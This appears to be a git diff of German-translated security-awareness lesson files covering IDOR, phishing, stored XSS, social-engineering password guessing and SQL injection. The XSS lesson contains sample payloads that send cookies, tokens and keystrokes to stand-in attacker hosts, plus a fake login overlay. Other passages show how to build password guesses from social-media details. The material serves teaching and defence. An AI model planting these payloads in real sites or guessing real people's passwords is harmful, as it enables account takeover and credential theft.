GET /api/messages/inbox (gibt nur Nachrichten des Benutzers zurück)
GET /api/messages/sent (gibt nur gesendete Nachrichten des Benutzers zurück)
// Wenn du IDs verwenden musst, überprüfe den Besitz:
GET /api/messages/msg_abc123
// Dann prüfen: db.isMessageOwnedBy(msg_abc123, currentUserId)
**3. Rollenbasierte Zugriffskontrolle (RBAC) implementieren**
Klare Berechtigungsmodelle definieren:
const permissions = {
user: {
canViewOwnProfile: true,
canViewOtherProfiles: false,
canEditOwnProfile: true,
canEditOtherProfiles: false
},
admin: {
canViewOwnProfile: true,
canViewOtherProfiles: true,
canEditOwnProfile: true,
canEditOtherProfiles: true
}
};
function checkPermission(user, action, resource) {
if (action === 'view' && resource.ownerId !== user.id) {
return permissions[user.role].canViewOtherProfiles;
}
return permissions[user.role][`can${action}`];
}
**4. Sitzungsbasierten Ressourcenzugriff verwenden**
Lass die Sitzung bestimmen, auf welche Ressourcen zugegriffen werden kann:
// ✅ Aktuelle Benutzerdaten aus Sitzung abrufen
app.get('/api/profile', authenticate, (req, res) => {
const userId = req.session.userId; // Aus verifizierter Sitzung
const user = db.getUserById(userId);
res.json(user);
});
// ✅ Bestellungen des aktuellen Benutzers aus Sitzung abrufen
app.get('/api/orders', authenticate, (req, res) => {
const userId = req.session.userId;
const orders = db.getOrdersByUserId(userId);
res.json(orders);
});
**5. Zugriffskontrolllisten (ACLs) implementieren**
Für komplexe Berechtigungen:
class AccessControl {
canAccess(userId, resourceType, resourceId) {
// Besitz prüfen
const resource = db.getResource(resourceType, resourceId);
if (resource.ownerId === userId) return true;
// Freigabeberechtigungen prüfen
const acl = db.getACL(resourceType, resourceId);
if (acl.sharedWith.includes(userId)) return true;
// Gruppenberechtigungen prüfen
const user = db.getUser(userId);
if (acl.groupsWithAccess.some(g => user.groups.includes(g))) {
return true;
}
return false;
}
}
**6. Zugriffsversuche protokollieren und überwachen**
app.get('/api/resource/:id', authenticate, (req, res) => {
const resourceId = req.params.id;
const userId = req.session.userId;
// Zugriffsversuch protokollieren
logger.info('Ressourcenzugriffsversuch', {
userId,
resourceId,
timestamp: Date.now()
});
// Autorisierung prüfen
if (!canAccess(userId, 'resource', resourceId)) {
// Unbefugten Versuch protokollieren
logger.warn('Unbefugter Zugriffsversuch', {
userId,
resourceId,
ip: req.ip
});
// Sicherheitsteam bei mehreren Versuchen benachrichtigen
securityMonitor.recordUnauthorizedAccess(userId, resourceId);
return res.status(403).json({ error: 'Forbidden' });
}
// Mit autorisiertem Zugriff fortfahren
const resource = db.getResource(resourceId);
res.json(resource);
});
**7. Auf IDOR testen**
**Manuelles Testen:**
1. Als Benutzer A anmelden
2. Auf eine Ressource zugreifen: `/api/profile/123`
3. Die ID in der URL/dem Parameter notieren
4. Auf eine andere ID ändern: `/api/profile/124`
5. Wenn du auf die Daten von Benutzer B zugreifen kannst → IDOR-Sicherheitslücke!
**Automatisiertes Testen:**
• Tools wie Burp Suite, OWASP ZAP verwenden
• Alle Endpunkte mit verschiedenen Benutzerrollen testen
• IDs aufzählen, um zugängliche Ressourcen zu finden
• Auf horizontale Rechteausweitung prüfen (gleiche Rolle, anderer Benutzer)
• Auf vertikale Rechteausweitung prüfen (andere Rolle)
**Sicherheits-Checkliste:**
✅ Alle Ressourcenzugriffe haben Autorisierungsprüfungen
✅ Datenbank-IDs werden wenn möglich nicht direkt offengelegt
✅ Rollenbasierte Zugriffskontrolle ist implementiert
✅ Zugriffsversuche werden protokolliert und überwacht
✅ Sensible Operationen erfordern zusätzliche Verifizierung
✅ Regelmäßige Sicherheitsaudits und Penetrationstests
✅ Entwicklerschulung zur IDOR-Prävention
scoring:
passingScore: 105
maxTotalPoints: 210 # 70 from questions + up to 140 from interactive discoveries

View File

@ -1,6 +1,6 @@
lessonKey: "phishing-email-basics"
title: "Phishing Email Detection Basics"
description: "Learn to identify common phishing tactics in emails and protect yourself from email-based attacks"
title: "Grundlagen der Phishing-E-Mail-Erkennung"
description: "Lernen Sie, gängige Phishing-Taktiken in E-Mails zu erkennen und sich vor E-Mail-basierten Angriffen zu schützen"
difficultyLevel: "beginner"
estimatedDuration: 15
module: "phishing-email-basics"
@ -8,110 +8,95 @@ module: "phishing-email-basics"
steps:
- id: "intro"
type: "content"
title: "What is Phishing?"
title: "Was ist Phishing?"
content: |
Phishing is a type of cyber attack where attackers impersonate legitimate organizations
to steal sensitive information like passwords, credit card numbers, or personal data.
Phishing ist eine Art von Cyberangriff, bei dem Angreifer sich als legitime Organisationen ausgeben,
um sensible Informationen wie Passwörter, Kreditkartennummern oder persönliche Daten zu stehlen.
Phishing emails often:
- Create a sense of urgency
- Contain suspicious links or attachments
- Have spelling and grammar errors
- Use generic greetings like "Dear Customer"
- Request sensitive information
Phishing-E-Mails haben oft folgende Merkmale:
- Erzeugen ein Gefühl der Dringlichkeit
- Enthalten verdächtige Links oder Anhänge
- Weisen Rechtschreib- und Grammatikfehler auf
- Verwenden allgemeine Begrüßungen wie "Sehr geehrter Kunde"
- Fordern sensible Informationen an
- id: "example-1"
type: "content"
title: "Example Phishing Email"
title: "Beispiel einer Phishing-E-Mail"
content: |
**From:** security@paypa1-verify.com
**Subject:** Urgent: Verify Your Account Now!
**Von:** security@paypa1-verify.com
**Betreff:** Dringend: Verifizieren Sie jetzt Ihr Konto!
Dear Valued Customer,
Sehr geehrter Kunde,
Your PayPal account has been temporarily suspended due to unusual activity.
To restore your account, please verify your information immediately by clicking
the link below:
Ihr PayPal-Konto wurde aufgrund ungewöhnlicher Aktivitäten vorübergehend gesperrt.
Um Ihr Konto wiederherzustellen, verifizieren Sie bitte sofort Ihre Informationen,
indem Sie auf den untenstehenden Link klicken:
[Verify Account Now]
[Konto jetzt verifizieren]
Failure to verify within 24 hours will result in permanent account suspension.
Wenn Sie nicht innerhalb von 24 Stunden verifizieren, wird Ihr Konto dauerhaft gesperrt.
Thank you,
Vielen Dank,
PayPal Security Team
- id: "question-1"
type: "question"
questionType: "multiple_choice"
question: "What are the suspicious elements in this email? (Select all that apply)"
question: "Was sind die verdächtigen Elemente in dieser E-Mail? (Wählen Sie alle zutreffenden)"
options:
- id: "misspelled-domain"
text: "The sender's domain is misspelled (paypa1 instead of paypal)"
text: "Die Domain des Absenders ist falsch geschrieben (paypa1 statt paypal)"
isCorrect: true
points: 15
- id: "urgent-language"
text: "Uses urgent/threatening language to create pressure"
text: "Verwendet dringende/drohende Sprache, um Druck zu erzeugen"
isCorrect: true
points: 15
- id: "generic-greeting"
text: "Uses generic greeting 'Dear Valued Customer'"
text: "Verwendet allgemeine Begrüßung 'Sehr geehrter Kunde'"
isCorrect: true
points: 10
- id: "requests-action"
text: "Requests immediate action via a link"
text: "Fordert sofortige Handlung über einen Link"
isCorrect: true
points: 10
- id: "legitimate"
text: "This appears to be a legitimate email"
text: "Dies scheint eine legitime E-Mail zu sein"
isCorrect: false
points: 0
maxPoints: 50
feedback:
correct: "Excellent! You identified all the key phishing indicators."
partial: "Good job! You spotted some red flags, but review the email again carefully."
incorrect: "Not quite. Let's review the common signs of phishing emails."
correct: "Ausgezeichnet! Sie haben alle wichtigen Phishing-Indikatoren erkannt."
partial: "Gut gemacht! Sie haben einige Warnsignale erkannt, aber überprüfen Sie die E-Mail noch einmal sorgfältig."
incorrect: "Nicht ganz. Lassen Sie uns die häufigen Anzeichen von Phishing-E-Mails noch einmal ansehen."
- id: "question-2"
type: "question"
questionType: "single_choice"
question: "What should you do if you receive a suspicious email like this?"
question: "Was sollten Sie tun, wenn Sie eine verdächtige E-Mail wie diese erhalten?"
options:
- id: "click-link"
text: "Click the link to verify my account"
text: "Auf den Link klicken, um mein Konto zu verifizieren"
isCorrect: false
points: 0
- id: "reply-email"
text: "Reply to the email asking if it's legitimate"
text: "Auf die E-Mail antworten und fragen, ob sie legitim ist"
isCorrect: false
points: 0
- id: "delete-report"
text: "Delete the email and report it as phishing"
text: "Die E-Mail löschen und als Phishing melden"
isCorrect: true
points: 25
- id: "forward-friends"
text: "Forward it to friends to warn them"
text: "Sie an Freunde weiterleiten, um sie zu warnen"
isCorrect: false
points: 0
maxPoints: 25
feedback:
correct: "Perfect! Deleting and reporting phishing emails is the right approach."
incorrect: "That's not safe. Never click links or reply to suspicious emails. Delete and report them."
- id: "question-3"
type: "question"
questionType: "free_text"
question: "Describe at least three things you should check before clicking a link in an email."
validationRules:
- type: "contains_keywords"
keywords: ["sender", "domain", "url", "link", "https", "hover", "address", "spelling", "grammar"]
minMatches: 3
- type: "min_length"
value: 50
maxPoints: 25
feedback:
correct: "Great answer! You understand the importance of verifying emails before taking action."
incorrect: "Consider checking the sender's email address, hovering over links to see the real URL, and looking for HTTPS."
correct: "Perfekt! Das Löschen und Melden von Phishing-E-Mails ist der richtige Ansatz."
incorrect: "Das ist nicht sicher. Klicken Sie niemals auf Links oder antworten Sie auf verdächtige E-Mails. Löschen und melden Sie sie."
scoring:
passingScore: 70
maxTotalPoints: 100
passingScore: 50
maxTotalPoints: 75

View File

@ -0,0 +1,283 @@
lessonKey: "script-injection-forum"
title: "Stored XSS - Forum Comment Injection"
description: "Lernen Sie, wie Script-Injection in benutzergenerierten Inhalten ganze Plattformen durch Stored-XSS-Angriffe kompromittieren kann"
difficultyLevel: "intermediate"
estimatedDuration: 25
module: "script-injection-forum"
steps:
- id: "intro"
type: "content"
title: "Was ist Stored XSS?"
content: |
Stored XSS (Cross-Site Scripting) ist eine Art von Injection-Angriff, bei dem bösartige Skripte dauerhaft auf einem Zielserver gespeichert werden. Im Gegensatz zu Reflected XSS, bei dem das Opfer auf einen bösartigen Link klicken muss, betrifft Stored XSS alle Benutzer, die den kompromittierten Inhalt ansehen.
**Häufige Ziele:**
• Forum-Beiträge und Kommentare
• Benutzerprofile und Biografien
• Produktbewertungen
• Feedback-Formulare
• Social-Media-Beiträge
• Blog-Kommentare
• Wiki-Seiten
**Auswirkungen:**
• Cookie-Diebstahl und Session-Hijacking
• Kontoübernahme
• Malware-Verteilung
• Website-Verunstaltung
• Phishing-Angriffe auf andere Benutzer
• Keylogging
• Datendiebstahl
**Warum es gefährlich ist:**
Stored XSS ist besonders gefährlich, weil:
1. Es bleibt in der Datenbank bestehen
2. Es betrifft automatisch mehrere Benutzer
3. Es erfordert kein Social Engineering zur Verbreitung
4. Es kann über lange Zeiträume unentdeckt bleiben
- id: "real-world"
type: "content"
title: "Reale Stored-XSS-Angriffe"
content: |
**Samy Worm (MySpace, 2005)**
Samy Kamkar erstellte einen sich selbst verbreitenden XSS-Wurm in seinem MySpace-Profil, der ihn automatisch als Freund zu jedem Profil hinzufügte, das ihn ansah. Der Wurm kopierte sich auch auf jedes infizierte Profil und verbreitete sich exponentiell.
Innerhalb von 20 Stunden waren über 1 Million Benutzer betroffen, was Samy zur beliebtesten Person auf MySpace machte. Die Website musste offline genommen werden, um den Wurm zu entfernen.
**TweetDeck XSS (Twitter, 2014)**
Eine Stored-XSS-Schwachstelle in TweetDeck ermöglichte es Angreifern, bösartigen Code über Tweets einzuschleusen. Als andere Benutzer diese Tweets in TweetDeck ansahen, wurde der Code automatisch ausgeführt und verursachte:
• Automatische Retweets der bösartigen Payload
• Pop-up-Benachrichtigungen für alle Betrachter
• Schnelle Verbreitung über die Plattform
**eBay Stored XSS (2015-2016)**
Mehrere Stored-XSS-Schwachstellen wurden in den Artikelbeschreibungen von eBay entdeckt. Angreifer konnten:
• Code in Produktbeschreibungen einschleusen
• Benutzeranmeldeinformationen stehlen, wenn Käufer Angebote ansahen
• Benutzer auf Phishing-Seiten umleiten
• Konten von Käufern und Verkäufern kompromittieren
**British Airways XSS (2018)**
Angreifer schleusten bösartiges JavaScript über eine Stored-XSS-Schwachstelle in die Zahlungsseite von British Airways ein. Das Skript:
• Erfasste Kreditkarteninformationen
• Sendete Daten an vom Angreifer kontrollierte Server
• Betraf über 380.000 Transaktionen
• Kostete British Airways über 20 Millionen Pfund an Strafen
Diese Angriffe demonstrieren, warum Eingabevalidierung und Output-Encoding für jede Anwendung, die benutzergenerierte Inhalte akzeptiert, kritisch sind.
- id: "forum-demo"
type: "interactive"
title: "Anfälliges Forum Demo"
interactiveComponent: "ForumScriptDemo"
content: |
Unten sehen Sie ein vereinfachtes Forum, das Benutzerkommentare OHNE ordnungsgemäße Eingabevalidierung oder Output-Encoding akzeptiert. Versuchen Sie zuerst, normale Kommentare zu posten, und experimentieren Sie dann mit Script-Injection-Payloads.
Beachten Sie, wie die bösartigen Skripte gespeichert werden und alle Benutzer betreffen würden, die das Forum ansehen. In dieser Demo zeigen wir die Payloads sicher als Text an, anstatt sie auszuführen, mit klaren Warnungen, wenn eine Injection erkannt wird.
**Probieren Sie diese Aktionen:**
1. Posten Sie einen normalen Kommentar, um sicheres Verhalten zu sehen
2. Versuchen Sie Beispiel-XSS-Payloads, um die Erkennung zu sehen
3. Verwenden Sie die Reload-Schaltfläche, um das Forum zurückzusetzen
- id: "question-1"
type: "question"
questionType: "multiple_choice"
question: "Welche der folgenden Payloads könnten für Stored-XSS-Angriffe in einem Forum verwendet werden?"
options:
- id: "script-cookie"
text: "<script>fetch('http://angreifer.com/steal?c='+document.cookie)</script>"
isCorrect: true
points: 10
- id: "img-steal"
text: "<img src=x onerror='fetch(\"http://evil.com?data=\"+document.cookie)'>"
isCorrect: true
points: 10
- id: "svg-payload"
text: "<svg onload='alert(document.domain)'></svg>"
isCorrect: true
points: 10
- id: "iframe-phishing"
text: "<iframe src='http://phishing-site.com' style='width:100%;height:500px'></iframe>"
isCorrect: true
points: 10
- id: "normal-comment"
text: "Dies ist ein normaler Kommentar ohne bösartigen Code"
isCorrect: false
points: 0
maxPoints: 40
feedback:
correct: "Ausgezeichnet! Sie haben alle gefährlichen Payloads identifiziert, die auf dem Server bestehen bleiben und mehrere Benutzer betreffen können."
partial: "Gut! Sie haben einige Bedrohungen erkannt, aber überprüfen Sie die Muster, die Code-Ausführung durch HTML-Tags und Event-Handler ermöglichen."
incorrect: "Überprüfen Sie die Demo. Suchen Sie nach Mustern, die Script-Tags, Event-Handler wie onerror oder onload oder eingebettete Inhalte wie iframes enthalten."
- id: "attack-vectors"
type: "content"
title: "Stored-XSS-Angriffsvektoren"
content: |
Gängige Techniken, die Angreifer bei Stored XSS verwenden:
**1. Cookie-Diebstahl**
<script>
fetch('http://angreifer.com/steal?cookie=' + document.cookie);
</script>
Stiehlt Authentifizierungs-Cookies und ermöglicht Kontoübernahme. Der Angreifer kann dann jeden Benutzer imitieren, der den Kommentar angesehen hat.
**2. Session-Hijacking**
<script>
var token = localStorage.getItem('authToken');
fetch('http://angreifer.com/steal?token=' + token);
</script>
Extrahiert Session-Token aus dem Browser-Speicher und kompromittiert Benutzersitzungen.
**3. Keylogging**
<script>
document.addEventListener('keypress', function(e) {
fetch('http://angreifer.com/keys?k=' + e.key);
});
</script>
Zeichnet jeden Tastendruck auf der Seite auf und erfasst Passwörter und sensible Informationen.
**4. Verunstaltung**
<script>
document.body.innerHTML = '<h1>Website gehackt!</h1>';
</script>
Ändert den sichtbaren Inhalt für alle Benutzer und beschädigt Reputation und Vertrauen.
**5. Phishing-Overlay**
<div style="position:fixed;top:0;left:0;width:100%;height:100%;
background:white;z-index:9999">
<form action="http://angreifer.com/phish">
<h2>Sitzung abgelaufen - Bitte erneut anmelden</h2>
Benutzername: <input name="user"><br>
Passwort: <input type="password" name="pass"><br>
<button>Anmelden</button>
</form>
</div>
Zeigt ein gefälschtes Login-Formular über der echten Seite an und erfasst Anmeldeinformationen.
**6. Kryptowährungs-Mining**
<script src="http://angreifer.com/cryptominer.js"></script>
Mined heimlich Kryptowährung mit den CPU-Ressourcen der Besucher.
**7. Malware-Verteilung**
<script>
window.location = 'http://angreifer.com/download-malware.exe';
</script>
Leitet Benutzer zu Malware-Downloads oder Drive-by-Download-Angriffen um.
- id: "question-2"
type: "question"
questionType: "single_choice"
question: "Warum gilt Stored XSS im Allgemeinen als GEFÄHRLICHER als Reflected XSS?"
options:
- id: "easier-exploit"
text: "Es ist einfacher auszunutzen, da es keine Sonderzeichen erfordert"
isCorrect: false
points: 0
- id: "persistent-victims"
text: "Es bleibt auf dem Server bestehen und betrifft alle Benutzer, die den Inhalt ansehen, nicht nur diejenigen, die auf einen bösartigen Link klicken"
isCorrect: true
points: 30
- id: "no-detection"
text: "Es kann nicht von Sicherheitstools oder Antiviren-Software erkannt werden"
isCorrect: false
points: 0
- id: "admin-access"
text: "Es gewährt Angreifern automatisch Administratorzugriff auf den Server"
isCorrect: false
points: 0
maxPoints: 30
feedback:
correct: "Perfekt! Stored XSS ist eine persistente Bedrohung, die viele Benutzer über die Zeit betreffen kann, ohne dass eine individuelle Zielerfassung erforderlich ist. Es bleibt in der Datenbank und wird jedes Mal ausgeführt, wenn jemand es ansieht."
incorrect: "Denken Sie über den Unterschied zwischen einer Payload, die an jedes Opfer gesendet werden muss, und einer, die einmal gespeichert wird und jeden betrifft. Persistenz und automatische Verbreitung sind die Hauptgefahren."
- id: "prevention"
type: "content"
title: "Stored XSS verhindern"
content: |
**Defense-in-Depth-Ansatz:**
**1. Eingabevalidierung (Erste Linie)**
• Validieren Sie alle Benutzereingaben gegen das erwartete Format
• Verwenden Sie Allowlists für akzeptable Zeichen
• Lehnen Sie Eingaben ab, die verdächtige Muster enthalten
• Validieren Sie Datentyp, Länge und Format
• Vertrauen Sie niemals "bereinigten" Eingaben - validieren Sie immer
**2. Output-Encoding (Kritisch)**
Kodieren Sie alle Ausgaben kontextabhängig:
**HTML-Kontext:**
• < wird zu &lt;
• > wird zu &gt;
• & wird zu &amp;
• " wird zu &quot;
• ' wird zu &#x27;
**JavaScript-Kontext:**
• Verwenden Sie JSON.stringify() für Daten
• Escapieren Sie Backslashes und Anführungszeichen
**URL-Kontext:**
• Verwenden Sie encodeURIComponent()
**Vertrauen Sie niemals Inhalten aus der Datenbank** - selbst wenn sie bei der Eingabe validiert wurden, kodieren Sie immer bei der Ausgabe!
**3. Content Security Policy (Verteidigungsebene)**
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-{random}';
style-src 'self' 'unsafe-inline';
img-src 'self' https:;
object-src 'none';
base-uri 'self';
form-action 'self';
CSP-Vorteile:
• Verhindert Ausführung von Inline-Skripten
• Beschränkt Ressourcen-Laden auf vertrauenswürdige Quellen
• Mindert Auswirkungen, selbst wenn XSS durchkommt
• Bietet Verletzungsberichte zur Überwachung
**4. HTTPOnly und Secure Cookies**
Set-Cookie: sessionId=abc123;
HttpOnly;
Secure;
SameSite=Strict
• **HttpOnly** - Verhindert JavaScript-Zugriff auf Cookies
• **Secure** - Stellt HTTPS-only-Übertragung sicher
• **SameSite** - Verhindert CSRF-Angriffe
**5. Framework-Sicherheitsfunktionen**
Moderne Frameworks bieten eingebauten XSS-Schutz:
• **React:** Escapt JSX-Inhalte automatisch
• **Angular:** Eingebaute Bereinigung mit DomSanitizer
• **Vue:** Template-Escaping standardmäßig
⚠️ **Verwenden Sie NIEMALS gefährliche Funktionen:**
• React: `dangerouslySetInnerHTML`
• Angular: `bypassSecurityTrust...` Methoden
• Vue: `v-html` mit Benutzerinhalten
• JavaScript: `eval()`, `innerHTML` mit Benutzerdaten
**6. Regelmäßige Sicherheitsaudits**
• Statische Code-Analyse (SAST-Tools)
• Dynamische Sicherheitstests (DAST-Tools)
• Penetrationstests
• Code-Reviews mit Fokus auf Benutzereingabe-Verarbeitung
• Sicherheitsbewusstseins-Schulungen für Entwickler
**7. Web Application Firewall (WAF)**
• Kann XSS-Versuche erkennen und blockieren
• Sollte als zusätzliche Ebene verwendet werden, nicht als primäre Verteidigung
• Bietet Überwachung und Alarmierung
• Updates zum Blockieren neuer Angriffsmuster
scoring:
passingScore: 58
maxTotalPoints: 115 # 70 from questions + up to 45 from discovering XSS vectors

View File

@ -0,0 +1,290 @@
lessonKey: "social-engineering-password"
title: "Social Engineering - Passwortsicherheit"
description: "Lernen Sie, wie persönliche Informationen aus sozialen Medien zu schwachen Passwörtern führen können"
difficultyLevel: "beginner"
estimatedDuration: 20
module: "social-engineering-password"
steps:
- id: "intro"
type: "content"
title: "Was ist Social Engineering?"
content: |
Social Engineering ist eine Manipulation von Menschen, um vertrauliche Informationen preiszugeben oder Sicherheitsmaßnahmen zu umgehen. Anders als technische Angriffe zielen Social-Engineering-Angriffe auf die menschliche Psychologie ab.
**Häufige Social-Engineering-Taktiken:**
• Informationen aus sozialen Medien sammeln (OSINT)
• Persönliche Details für Passwörter nutzen
• Vertrauen ausnutzen
• Dringlichkeit vortäuschen
• Autorität vortäuschen
• Neugier ausnutzen
**Warum ist das gefährlich?**
Menschen teilen freiwillig Informationen in sozialen Medien, die Angreifer nutzen können:
• Namen von Haustieren
• Geburtsdaten von Kindern
• Lieblingsorte oder -teams
• Geburtstage und Jubiläen
• Arbeitgeber und Positionen
• Hobbys und Interessen
Diese Informationen können verwendet werden, um:
• Passwörter zu erraten
• Sicherheitsfragen zu beantworten
• Phishing-Angriffe zu personalisieren
• Vertrauen zu gewinnen
- id: "osint"
type: "content"
title: "OSINT - Open Source Intelligence"
content: |
Open Source Intelligence (OSINT) bezeichnet das Sammeln von Informationen aus öffentlich zugänglichen Quellen. Soziale Medien sind eine Goldgrube für OSINT.
**Was Angreifer aus Social Media lernen können:**
**Facebook/Instagram:**
• Freunde und Familienmitglieder
• Wohnort und Arbeitgeber
• Reisen und Aufenthaltsorte
• Haustiere (oft mit Namen)
• Kinder (oft mit Alter/Geburtsjahr)
• Hobbys und Interessen
**LinkedIn:**
• Vollständige Berufshistorie
• Bildungsweg
• Fähigkeiten und Zertifizierungen
• Geschäftskontakte
• Arbeitszeiten und Verantwortlichkeiten
**Twitter/X:**
• Echtzeitaktivitäten
• Politische Ansichten
• Tägliche Routinen
• Technologie-Präferenzen
**Wie wird das ausgenutzt?**
1. **Passwort-Erraten:**
• Haustiername + Geburtsjahr des Kindes
• Lieblingsverein + Hochzeitsjahr
• Spitzname + Hausnummer
2. **Sicherheitsfragen:**
• "Name Ihres ersten Haustieres?" → Auf Instagram gepostet
• "Geburtsort Ihrer Mutter?" → Im Profil erwähnt
• "Name Ihrer ersten Schule?" → LinkedIn Bildung
3. **Spear-Phishing:**
• Personalisierte E-Mails mit echten Details
• Vorwand, der auf Interessen basiert
• Zeitlich abgestimmte Angriffe (wenn Sie im Urlaub sind)
**Beispiel:**
Ein Angreifer sieht auf Instagram:
• Post über Hund "Max" (2019)
• Post über Zwillinge "Emma & Liam" (geboren 2020)
• Lieblingsverein "FC Bayern"
Mögliche Passwörter zum Testen:
• max2019
• emma2020
• bayern2020
• maxbayern
• emmaliam
- id: "social-media-demo"
type: "interactive"
title: "Social Media Profil & Passwort-Demo"
interactiveComponent: "SocialMediaPasswordDemo"
content: |
Unten sehen Sie ein simuliertes Social-Media-Profil einer fiktiven Person namens Sophia Müller. Ihre Aufgabe ist es, ihr Passwort zu erraten, indem Sie Informationen aus ihren Posts verwenden.
**Anleitung:**
1. Lesen Sie die Posts im Social-Media-Profil sorgfältig
2. Achten Sie auf persönliche Details (Namen, Jahreszahlen, etc.)
3. Versuchen Sie, das Passwort im Login-Formular zu erraten
4. Nutzen Sie die Hinweise, wenn Sie feststecken
Dies demonstriert, wie leicht Passwörter erraten werden können, wenn sie auf öffentlich verfügbaren Informationen basieren.
- id: "question-1"
type: "question"
questionType: "multiple_choice"
question: "Welche Informationen aus Social-Media-Profilen können für Passwörter missbraucht werden?"
options:
- id: "pet-names"
text: "Namen von Haustieren"
isCorrect: true
points: 10
- id: "birth-years"
text: "Geburtsjahre von Kindern"
isCorrect: true
points: 10
- id: "favorite-teams"
text: "Lieblingssportvereine oder -teams"
isCorrect: true
points: 10
- id: "profile-picture"
text: "Das Profilbild selbst"
isCorrect: false
points: 0
- id: "anniversaries"
text: "Hochzeitstage oder Jubiläen"
isCorrect: true
points: 10
maxPoints: 40
feedback:
correct: "Richtig! Alle diese persönlichen Informationen werden häufig in unsicheren Passwörtern verwendet und sind leicht aus Social-Media-Profilen zu extrahieren."
partial: "Gut! Sie haben einige der gefährlichen Informationen erkannt. Denken Sie daran, dass fast alle persönlichen Details missbraucht werden können."
incorrect: "Überprüfen Sie das Demo. Namen, Jahreszahlen und persönliche Vorlieben aus Social Media können alle für Passwörter verwendet werden."
- id: "password-patterns"
type: "content"
title: "Häufige Passwort-Muster"
content: |
**Die häufigsten unsicheren Passwort-Muster:**
**1. Name + Jahreszahl**
• bella2018
• max2020
• luna2019
Warum unsicher: Beide Teile sind oft öffentlich bekannt
**2. Wort + einfache Ziffernfolge**
• passwort123
• sommer2024
• welcome1
Warum unsicher: Sehr vorhersagbar, oft in Wörterbüchern
**3. Tastaturmuster**
• qwertz
• asdfgh
• 123456
Warum unsicher: Erste Option bei Brute-Force-Angriffen
**4. Persönliche Informationen**
• vorname.nachname
• geburtsdatum
• telefonnummer
Warum unsicher: Leicht zu recherchieren
**5. Einfache Substitutionen**
• P@ssw0rt (Passwort)
• H3ll0 (Hello)
Warum unsicher: Angreifer kennen diese Tricks
**Statistiken:**
• 73% der Menschen verwenden Passwörter, die persönliche Informationen enthalten
• 50% der Passwörter sind kürzer als 10 Zeichen
• 35% verwenden denselben Passwort-Typen überall
• Die häufigsten Passwort-Bestandteile:
1. Namen (Personen, Haustiere)
2. Geburtsjahre
3. Einfache Wörter ("Passwort", "Admin")
4. Zahlenfolgen (123456, 111111)
5. Sportvereine oder Marken
**Warum verwenden Menschen schwache Passwörter?**
• Leicht zu merken
• Bequemlichkeit
• Mangelndes Sicherheitsbewusstsein
• Zu viele Konten zum Verwalten
• Unterschätzung des Risikos
- id: "question-2"
type: "question"
questionType: "single_choice"
question: "Was ist die BESTE Methode für sichere Passwörter?"
options:
- id: "same-password"
text: "Ein sehr langes Passwort für alle Konten verwenden"
isCorrect: false
points: 0
- id: "password-manager"
text: "Einen Passwort-Manager mit zufällig generierten Passwörtern verwenden"
isCorrect: true
points: 30
- id: "write-down"
text: "Komplexe Passwörter aufschreiben und sicher aufbewahren"
isCorrect: false
points: 0
- id: "substitution"
text: "Wörter mit Zahlen und Sonderzeichen ersetzen (z.B. P@ssw0rt)"
isCorrect: false
points: 0
maxPoints: 30
feedback:
correct: "Ausgezeichnet! Passwort-Manager generieren einzigartige, zufällige Passwörter für jedes Konto und speichern sie verschlüsselt. Sie müssen sich nur ein Master-Passwort merken."
incorrect: "Passwort-Manager sind die beste Lösung. Sie generieren starke, zufällige Passwörter für jedes Konto, sodass Sie sich nur ein Master-Passwort merken müssen. Einfache Substitutionen oder wiederverwendete Passwörter sind nicht sicher."
- id: "digital-footprint"
type: "content"
title: "Digitaler Fußabdruck und Privatsphäre"
content: |
**Was Sie NICHT in Social Media teilen sollten:**
**🚫 Vermeiden Sie diese Informationen:**
**Passwort-relevante Details:**
• Namen von Haustieren (besonders mit Geburtsjahren)
• Geburtsdaten von Kindern
• Mädchenname der Mutter
• Erste Schule oder Wohnort
• Lieblingsteam oder -verein
• Hochzeitsdatum
• Wichtige Jubiläen
**Sicherheitsrelevante Details:**
• Vollständige Adresse
• Reisepläne (vor der Reise)
• Arbeitspläne und Routinen
• Finanzdaten oder Erfolge
• Vollständiges Geburtsdatum
• Telefonnummer
• E-Mail-Adresse (öffentlich)
**Kinder-bezogene Informationen:**
• Vollständige Namen und Alter
• Schule oder Kindergarten
• Routinen und Zeitpläne
• Genauer Wohnort
• Fotos mit Standort-Tags
**Best Practices für Social Media:**
**✅ Datenschutz-Einstellungen:**
• Profil auf "privat" stellen
• Freundesliste verbergen
• Standortdienste deaktivieren
• Gesichtserkennung deaktivieren
• Suchmaschinen-Indexierung verhindern
**✅ Vorsichtiges Teilen:**
• Überlegen Sie, wer es sehen kann
• Posten Sie Urlaubsfotos NACH der Rückkehr
• Verwenden Sie Spitznamen statt echte Namen
• Vermeiden Sie detaillierte Standortangaben
• Keine Fotos von Haus/Auto mit erkennbaren Merkmalen
**✅ Regelmäßige Überprüfung:**
• Alte Posts durchgehen und löschen
• Freundesliste aufräumen
• Datenschutz-Einstellungen aktualisieren
• Verknüpfte Apps überprüfen
• Suchmaschinen-Ergebnisse für Ihren Namen prüfen
**Denken Sie daran:**
Alles, was Sie online posten, kann:
• Für immer gespeichert werden
• Screenshot und geteilt werden
• Von Arbeitgebern gefunden werden
• Gegen Sie verwendet werden
• Nicht vollständig gelöscht werden
**"Wenn Sie es nicht jedem Fremden auf der Straße erzählen würden, posten Sie es nicht online!"**
scoring:
passingScore: 65
maxTotalPoints: 130 # 70 from questions + 30-60 from cracking password (based on attempts)

View File

@ -1,6 +1,6 @@
lessonKey: "sql-injection-shop"
title: "SQL Injection Attack - Online Shop Demo"
description: "Learn how SQL injection vulnerabilities work through a realistic online shop scenario"
title: "SQL Injection Angriff - Online Shop Demo"
description: "Lernen Sie, wie SQL Injection-Schwachstellen funktionieren, anhand eines realistischen Online-Shop-Szenarios"
difficultyLevel: "intermediate"
estimatedDuration: 20
module: "sql-injection-shop"
@ -8,30 +8,30 @@ module: "sql-injection-shop"
steps:
- id: "intro"
type: "content"
title: "What is SQL Injection?"
title: "Was ist SQL Injection?"
content: |
SQL Injection is one of the most dangerous web application vulnerabilities. It occurs when an attacker can insert malicious SQL code into a query, allowing them to:
SQL Injection ist eine der gefährlichsten Schwachstellen in Webanwendungen. Sie tritt auf, wenn ein Angreifer bösartigen SQL-Code in eine Abfrage einfügen kann, wodurch er folgendes tun kann:
• Access unauthorized data
Modify or delete database records
Bypass authentication
Execute administrative operations
• Auf nicht autorisierte Daten zugreifen
Datenbankeinträge ändern oder löschen
Authentifizierung umgehen
Administrative Operationen ausführen
In this lesson, you'll explore a vulnerable online shop to understand how SQL injection works and why proper input validation is critical.
